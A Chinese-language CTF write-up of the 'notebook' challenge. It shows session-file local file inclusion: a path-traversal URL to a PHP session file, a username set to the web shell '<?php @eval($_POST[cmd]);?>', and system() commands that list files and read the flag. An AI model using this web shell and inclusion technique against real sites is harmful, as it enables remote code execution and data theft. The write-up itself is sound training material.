“百度杯”CTF比赛 十二月场--notebook

知识点:

PHPinfo中

open_basedie设置用户访问文件的活动范围,其指定的限制实际上是前缀,而不是目录名。 举个例子: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都可访问。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成:"open_basedir = /dir/user/"

 

session.save_path是session文件存在的位置

session 的文件名格式为 sess_[PHPSESSID],而 sessionid 在发送的请求的 cookie 字段中PHPSESSID值也可以看到

 

看到登录界面url为action.php?module=php&file=login,想到题目提示中的文件包含

随便注册一个账号,admin/123,登陆成功显示there is not flag

目录扫描,发现robots.txt文件,访问得到 php1nFo.php文件

访问:http://246afaabe56d4b1cbe9063f03477c27e55325b5bc0b246a9.changame.ichunqiu.com/php1nFo.php

“百度杯”CTF比赛 十二月场--notebook

用户访问文件的范围是/tmp目录

“百度杯”CTF比赛 十二月场--notebook

但是session文件保存在/var/lib/php5,用户访问不到

 

题目提示phpinfo有新发现,我们利用文件包含访问试试

http://c8f135cda272417884805cf1fdc368c4eaf8ba611f494790.changame.ichunqiu.com/action.php?module=&file=php1nFo.php

“百度杯”CTF比赛 十二月场--notebook

发现这里给了一个新的session文件存放路径,使我们可访问的路径/tmp/SESS

 

F12查看当前PHPSESSID值:8turu72oeadcggsqgjahi156f3

“百度杯”CTF比赛 十二月场--notebook

尝试访问session文件

http://c8f135cda272417884805cf1fdc368c4eaf8ba611f494790.changame.ichunqiu.com/action.php?module=&file=../../../tmp/SESS/sess_8turu72oeadcggsqgjahi156f3

“百度杯”CTF比赛 十二月场--notebook

这里admin被显示,用户名是我们可以控制的

 

我们再注册一个新用户用户名为:

<?php @eval($_POST[cmd]);?>

登陆后,跟之前步骤一样得到:

“百度杯”CTF比赛 十二月场--notebook

尝试命令执行,POST:cmd=system('ls');

“百度杯”CTF比赛 十二月场--notebook

执行成功,看到存在flag.php,尝试读取,POST:cmd=system('cat flag.php');

“百度杯”CTF比赛 十二月场--notebook

页面上没有回显,查看源代码得到flag

“百度杯”CTF比赛 十二月场--notebook

 

参考:https://www.jianshu.com/p/624fe6d09c0b